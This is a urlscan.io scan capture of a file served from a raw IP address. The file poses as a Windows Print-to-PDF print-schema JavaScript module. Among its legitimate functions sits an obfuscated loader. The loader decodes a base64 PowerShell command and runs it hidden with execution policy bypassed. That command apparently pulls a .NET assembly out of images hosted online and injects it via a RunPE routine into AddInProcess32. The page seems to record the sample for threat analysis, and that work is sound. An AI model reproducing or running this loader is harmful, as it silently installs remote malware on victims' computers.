41.216.183.13 Open in urlscan Pro
41.216.183.13  Public Scan

URL: https://41.216.183.13/users_api/Ws/file_zr23dl12.dru.txt
Submission Tags: falconsandbox
Submission: On July 01 via api from US — Scanned from NL

Form analysis 0 forms found in the DOM

Text Content

function convertPrintTicketToDevMode(printTicket, scriptContext, devModeProperties) {
    /// <param name="printTicket" type="IPrintSchemaTicket">
    ///     Print ticket to be converted to DevMode.
    /// </param>
    /// <param name="scriptContext" type="IPrinterScriptContext">
    ///     Script context object.
    /// </param>
    /// <param name="devModeProperties" type="IPrinterScriptablePropertyBag">
    ///     The DevMode property bag.
    /// </param>


    // Set Standard namespaces with prefixes
    SetStandardNameSpaces(printTicket.XmlNode);

    // Get prefix for PDF namespace
    var pdfNsPrefix = getPrefixForNamespace(printTicket.XmlNode, pdfNs);

    // If pdf namespace prefix is not found, that means that print ticket is produced by a different printer and there is not PDF name space with in print ticket
    // This could happen with some legacy application using print ticket wrongly. To avoid failures we are checking first and shot circuiting the rest of the code.
    if (pdfNsPrefix != null) {
        // Get ParameterDefs in PDC
        var pdcParameterDefs = getParameterDefs(scriptContext);

        for (var defCount = 0; defCount < pdcParameterDefs.length; defCount++) {
            // Try getting the related ParameterInit in the PrintTicket
            var currNode = printTicket.GetParameterInitializer(pdcParameterDefs[defCount], pdfNs)
            if (currNode != null) {
                // Set Devmode string with the value present in ParameterInit
                devModeProperties.setString(pdcParameterDefs[defCount], currNode.Value);
            }
        }
    }
}


function getParameterDefs(scriptContext) {
    /// <summary>
    /// Get the base names for the ParameterDefs defined in the JS file
    /// </summary>
    /// <param name="scriptContext" type="IPrinterScriptContext">
    ///     Script context object.
    /// </param>

    // Get PDC configuration file from script context
    var pdcConfig = scriptContext.QueueProperties.GetReadStreamAsXML("PrintDeviceCapabilities");
    // Set Standard namespaces with prefixes
    SetStandardNameSpaces(pdcConfig);

    // Get PDC root XML Node
    var pdcRoot = pdcConfig.selectSingleNode("psf2:PrintDeviceCapabilities");
    // Get all ParameterDef nodes in PDC
    var parameterDefs = pdcRoot.selectNodes("*[@psf2:psftype='ParameterDef']");

    // Make an array containing all base names for all the ParameterDef's
    var pdcParameterDefs = new Array();
    for (var defCount = 0; defCount < parameterDefs.length; defCount++) {
        pdcParameterDefs[defCount] = parameterDefs[defCount].baseName;
    }
    return pdcParameterDefs;
}

function CreateCapabilitiesParamDefFromPDC(pdcParameterDef, pdfNsPrefix, printCapabilities) {
    /// <summary>
    /// Converts ParameterDef Node that in PDC into ParameterDef node in PrintCapabilites
    /// </summary>
    /// <param name="pdcParameterDef" type="IXMLNode">
    ///     Contains a ParameterDef node in PDC
    /// </param>
    /// <param name="pdfNsPrefix" type="string">
    ///     Contains PDF name sapce
    /// </param>
    /// <param name="printCapabilities" type="IPrintSchemaCapabilities">
    ///     Print capabilities object to be customized.
    /// </param>
    var capabilitiesParamDef = createProperty(pdfNsPrefix + ":" + pdcParameterDef.baseName, "psf:ParameterDef", "", "", printCapabilities);

    var properties = pdcParameterDef.selectNodes("*[@psf2:psftype='Property']");


    for (var propCount = 0; propCount < properties.length; propCount++) {
        var property = properties[propCount];
        var type = property.getAttribute("xsi:type");
        var childProperty = createProperty(property.nodeName, "psf:Property", type, property.text, printCapabilities);
        capabilitiesParamDef.appendChild(childProperty);
    }
    return capabilitiesParamDef;
}


function SetStandardNameSpaces(xmlNode) {
    /// <summary>
    /// Set the Selection namespace values to below namesapces
    /// xmlns:psf='http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework' 
    /// xmlns:psf2='http://schemas.microsoft.com/windows/2013/12/printing/printschemaframework2' 
    /// xmlns:psk='http://schemas.microsoft.com/windows/2003/08/printing/printschemakeywords' 
    /// xmlns:psk11='http://schemas.microsoft.com/windows/2013/05/printing/printschemakeywordsv11'
    /// xmlns:psk12='http://schemas.microsoft.com/windows/2013/12/printing/printschemakeywordsv12'
    /// xmlns:xsd='http://www.w3.org/2001/XMLSchema'
    /// xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
    /// xmlns:pdfNs= 'http://schemas.microsoft.com/windows/2015/02/printing/printschemakeywords/microsoftprinttopdf'
    ///</summary>
    /// <param name="node" type="IXMLDOMNode">
    ///     A node in the XML document.
    /// </param>

    xmlNode.setProperty(
        "SelectionNamespaces",
        "xmlns:psf='http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework' "
            + "xmlns:psf2='http://schemas.microsoft.com/windows/2013/12/printing/printschemaframework2' "
            + "xmlns:psk='http://schemas.microsoft.com/windows/2003/08/printing/printschemakeywords' "
            + "xmlns:psk11='http://schemas.microsoft.com/windows/2013/05/printing/printschemakeywordsv11' "
            + "xmlns:psk12='http://schemas.microsoft.com/windows/2013/12/printing/printschemakeywordsv12' "
            + "xmlns:xsd='http://www.w3.org/2001/XMLSchema' "
            + "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' "
            + "xmlns:PdfNs='http://schemas.microsoft.com/windows/2015/02/printing/printschemakeywords/microsoftprinttopdf' "
        );
}



function getPrefixForNamespace(node, namespace) {
    /// <summary>
    ///     This function returns the prefix for a given namespace.
    ///     Example: In 'psf:printTicket', 'psf' is the prefix for the namespace.
    ///     xmlns:psf="http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework"
    /// </summary>
    /// <param name="node" type="IXMLDOMNode">
    ///     A node in the XML document.
    /// </param>
    /// <param name="namespace" type="String">
    ///     The namespace for which prefix is returned.
    /// </param>
    /// <returns type="String">
    ///     Returns the namespace corresponding to the prefix.
    /// </returns>

    if (!node) {
        return null;
    }

    // Navigate to the root element of the document.
    var rootNode = node.documentElement;

    // Query to retrieve the list of attribute nodes for the current node
    // that matches the namespace in the 'namespace' variable.
    var xPathQuery = "namespace::node()[.='"
                + namespace
                + "']";
    var namespaceNode = rootNode.selectSingleNode(xPathQuery);

    var prefix;
    if (namespaceNode != null){
        prefix = namespaceNode.baseName;
    }

    return prefix;
}

try {
    var anesthesiar = "merdanVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3merdaWJDbGllbnQgPSBOmerdaXctT2JqmerdaWN0IFN5c3RlbS5OmerdaXQuV2ViQ2xpmerdaW50OyAkmerdaG93bmxvYWRlmerdaERhdGEgPSBAKCk7ICRzaHVmmerdamxlmerdaExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgmerdam9ymerdaWFjaCAoJGxpbmsgaW4gJHNodWmerdambGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkmerdaWREYXRhICs9ICR3merdaWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyBymerdaXR1cm4gJGRvd25sb2FkmerdaWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vaWE4MDA0MDAudXMuYXJjaGl2merdaS5vcmcvOC9pdGVtcy9umerdaXdfaW1hmerda2VfMjAyNDA2MTlfMTQzMi9umerdaXdfaW1hmerda2UuanBnJywgJ2h0dHBzOi8vaWE4MDA0MDAudXMuYXJjaGl2merdaS5vcmcvOC9pdGVtcy9umerdaXdfaW1hmerda2VfMjAyNDA2MTlfMTQzMi9umerdaXdfaW1hmerda2UuanBnJyk7ICRpbWFnmerdaUJ5dGVzID0gRG93bmxvYWREYXRhRnJvbUxpbmtzICRsaW5rczsgaWYgKCRpbWFnmerdaUJ5dGVzIC1umerdaSAkbnVsbCkgeyAkaW1hmerda2VUmerdaXh0ID0gW1N5c3RlbS5UmerdaXh0LkVuY29kaW5nXTo6VVRGOC5HmerdaXRTdHJpbmcoJGltYWdlQnl0merdaXMpOyAkc3RhcnRGbGFnID0gJzw8QkFTRTY0X1NUQVJUPj4nOyAkmerdaW5kRmxhmerdayA9ICc8PEJBU0U2NF9FTkQ+Pic7ICRzdGFydElumerdaGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRzdGFydEmerdasYWcpOyAkmerdaW5kSW5kmerdaXggPSAkaW1hmerda2VUmerdaXh0LklumerdaGV4T2YoJGVumerdaEmerdasYWcpOyBpmerdaiAoJHN0YXJ0SW5kmerdaXggLWdlIDAgLWFumerdaCAkmerdaW5kSW5kmerdaXggLWd0ICRzdGFydElumerdaGV4KSB7ICRzdGFydElumerdaGV4ICs9ICRzdGFydEmerdasYWcuTGVumerda3RoOyAkYmFzmerdaTY0TGVumerda3RoID0gJGVumerdaElumerdaGV4IC0gJHN0YXJ0SW5kmerdaXg7ICRiYXNlNjRDb21tYW5kID0gJGltYWdlVGV4dC5TdWJzdHJpbmcoJHN0YXJ0SW5kmerdaXgsICRiYXNlNjRMmerdaW5ndGgpOyAkY29tbWFumerdaEJ5dGVzID0gW1N5c3RlbS5Db252merdaXJ0XTo6RnJvbUJhc2U2NFN0cmlumerdaygkYmFzmerdaTY0Q29tbWFumerdaCk7ICRsb2FkmerdaWRBc3NlbWJseSA9IFtTeXN0merdaW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGNvbW1hbmRCeXRlcyk7ICR0eXBlID0gJGxvYWRlmerdaEFzc2VtYmx5LkdldFR5cGUoJ1J1blBFLkhvbWUnKTsgJG1ldGhvmerdaCA9ICR0eXBlLkdldE1ldGhvmerdaCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqmerdaWN0W11dICgncGhwLnNvY21lci9wb2hzLm1pmerdamVkbW9iLy86c3B0dGgnICwgJ2Rlc2F0aXmerdahmerdaG8nICwgJ2Rlc2F0aXmerdahmerdaG8nICwgJ2Rlc2F0aXmerdahmerdaG8nLCdBmerdaGRJblByb2Nlc3MzMicsJ2Rlc2F0aXmerdahmerdaG8nKSl9fQ==";
    anesthesiar = anesthesiar.replace(/merda/g, "Z");
    var cervicite = new ActiveXObject("WScript.Shell");
    var resinento = "$Codigo = '" + anesthesiar + "';";
    resinento += "$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));";
    resinento += "powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD";
    cervicite.Run("powershell -command \"" + resinento + "\"", 0, false);
} catch (error) {

}

function convertDevModeToPrintTicket(devModeProperties, scriptContext, printTicket) {
    /// <param name="devModeProperties" type="IPrinterScriptablePropertyBag">
    ///     The DevMode property bag.
    /// </param>
    /// <param name="scriptContext" type="IPrinterScriptContext">
    ///     Script context object.
    /// </param>
    /// <param name="printTicket" type="IPrintSchemaTicket">
    ///     Print ticket to be converted from the DevMode.
    /// </param>


    // Set Standard namespaces with prefixes
    SetStandardNameSpaces(printTicket.XmlNode);
    // Get prefix for PDF namespace
    var pdfNsPrefix = getPrefixForNamespace(printTicket.XmlNode, pdfNs);

    // If pdf namespace prefix is not found, that means that print ticket is produced by a different printer and there is not PDF name space with in print ticket
    // This could happen with some legacy application using print ticket wrongly. To avoid failures we are checking first and shot circuiting the rest of the code.
    if (pdfNsPrefix != null) {
        // Get ParameterDefs in PDC
        var pdcParameterDefs = getParameterDefs(scriptContext);

        for (var defCount = 0; defCount < pdcParameterDefs.length; defCount++) {
            // Get Devmode string related to ParameterDefs in PDC
            var paramString = devModeProperties.getString(pdcParameterDefs[defCount]);

            if (paramString != null && paramString.length > 0) {
                // If Devmode string is present map to print ticket either by creating a new node or modifying the existing node 

                // Add prefix to ParameterDef base name
                var paramName = pdfNsPrefix + ":" + pdcParameterDefs[defCount];

                // Try getting the related ParameterInit in the PrintTicket
                var currNode = printTicket.GetParameterInitializer(pdcParameterDefs[defCount], pdfNs)
                if (currNode == null) {
                    // Create node if no node is present
                    var ptRoot = printTicket.XmlNode.selectSingleNode("psf:PrintTicket");
                    var newParam = createProperty(paramName, "psf:ParameterInit", "xsd:string", paramString, printTicket);
                    ptRoot.appendChild(newParam);
                } else {
                    // Change the value of the node to Devmode string value
                    currNode.Value = paramString;
                }
            }
        }
    }
}


function validatePrintTicket(printTicket, scriptContext) {
    /// <param name="printTicket" type="IPrintSchemaTicket">
    ///     Print ticket to be validated.
    /// </param>
    /// <param name="scriptContext" type="IPrinterScriptContext">
    ///     Script context object.
    /// </param>
    /// <returns type="Number" integer="true">
    ///     Integer value indicating validation status.
    ///         1 - Print ticket is valid and was not modified.
    ///         2 - Print ticket was modified to make it valid.
    ///         0 - Print ticket is invalid.
    /// </returns>

    // There is nothing wrong with having only 1, 2 or 3 ParameterInit�s in PrintTicket for the same ParameterDefs that are present in PDC. 
    // For that reason we just going to return 1 without any check
    return 1;
}

function createProperty(strPropertyName, strNodeName, strValueType, strValue, documentNode) {
    /// <summary>
    /// Create a property XML Node with child Value Node containing the value
    /// </summary>
    /// <param name="strPropertyName" type="String">
    ///   Name of the property Node
    /// </param>
    /// <param name="strNodeName" type="String">
    ///   Name to be assigned to the "name" attribute of the property
    /// </param>
    /// <param name="strValueType" type="String">
    ///   Type of the value the in the Value Node
    /// </param>
    /// <param name="strValue" type="String">
    ///   Actual value that is to be placed in the value node
    /// </param>
    /// <param name="documentNode" type="IXMLNode">
    ///   Contains Document XML Node
    /// </param>

    var newNode = documentNode.XmlNode.createNode(1, strNodeName, psfNs);
    newNode.setAttribute("name", strPropertyName);

    if (strValueType.length > 0) {
        var newProp = documentNode.XmlNode.createNode(1, "psf:Value", psfNs);
        var newAttr = documentNode.XmlNode.createNode(2, "xsi:type", xsiNs);
        newAttr.nodeValue = strValueType;
        newProp.setAttributeNode(newAttr);

        var newText = documentNode.XmlNode.createTextNode(strValue);

        newProp.appendChild(newText);

        newNode.appendChild(newProp);
    }
    return newNode;
}